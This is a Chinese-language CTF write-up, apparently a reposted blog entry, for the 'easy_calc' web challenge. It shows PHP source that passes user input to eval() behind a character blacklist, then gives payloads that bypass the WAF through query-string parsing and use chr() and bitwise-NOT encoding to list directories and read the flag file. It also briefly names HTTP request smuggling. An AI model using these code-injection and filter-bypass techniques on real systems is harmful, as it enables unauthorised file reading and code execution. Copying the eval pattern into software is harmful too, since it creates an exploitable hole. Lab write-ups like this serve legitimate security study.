标签:请求 height 字符串解析 color 自己的 web art 链接 http请求
目录:
(1)easy_calc
题目解析:
涉及 知识点:
(2)HTTP请求走私攻击
(3)取反操作
~%D1 == ‘.‘ (46+209=255) ~$D0 == ‘/‘ (47+208=255)
其余ascii码类似。
解析:
进入题目的界面,审计js代码发现有calc.php,抱着好奇的态度进入查看。
发现源码。审计
<?php error_reporting(0); if(!isset($_GET[‘num‘])){ show_source(__FILE__); }else{ $str = $_GET[‘num‘]; $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘,‘\$‘,‘\\‘,‘\^‘]; foreach ($blacklist as $blackitem) { if (preg_match(‘/‘ . $blackitem . ‘/m‘, $str)) { die("what are you want to do?"); } } eval(‘echo ‘.$str.‘;‘); } ?>
本来以为过滤已经很明显了。但是其实还有坑,经过多次尝试之后发现num中不能存在字母。
感觉像是前端的WAF。
方法一:php字符串解析特性绕过WAF。
上面的链接有详细的解释,我就提一下%20num也会被后端解析为num,但是前端解析不出来,所以可以绕过前端WAF。
尝试构造payload:?%20num=phpinfo()
成功,有phpinfo()回显
还发现了system()被过滤了,没办法只能用php本身的文件读取函数了。
scandir()函数读取目录。file_get_contents()读取文件。
目标payload:? num=var_dump(scandir(‘.‘))
因为 单引号 被过滤,所以我们采用本身结果就是字符串的 chr()函数 或者 取反操作 来替换
构造payload1:? num=var_dump(scandir(chr(46)))
构造payload2:? num=var_dump(scandir(~%D1))
。。没有flag文件,去根目录下看看。(payload类似)
(注意这是1,因为没看出来卡了好久...)
那么读取这个文件应该就行了,payload依旧类似
payload1:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
payload2:? num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))
成功获得flag
方法二:HTTP请求走私攻击
老实说,这个方法我还是第一次见,最好去看大佬的解释吧。
我用自己的话解释一下巩固一遍(太菜了,见谅)
CL-CL协议可以,payload和方法一一样。
标签:请求 height 字符串解析 color 自己的 web art 链接 http请求
原文地址:https://www.cnblogs.com/cioi/p/12272928.html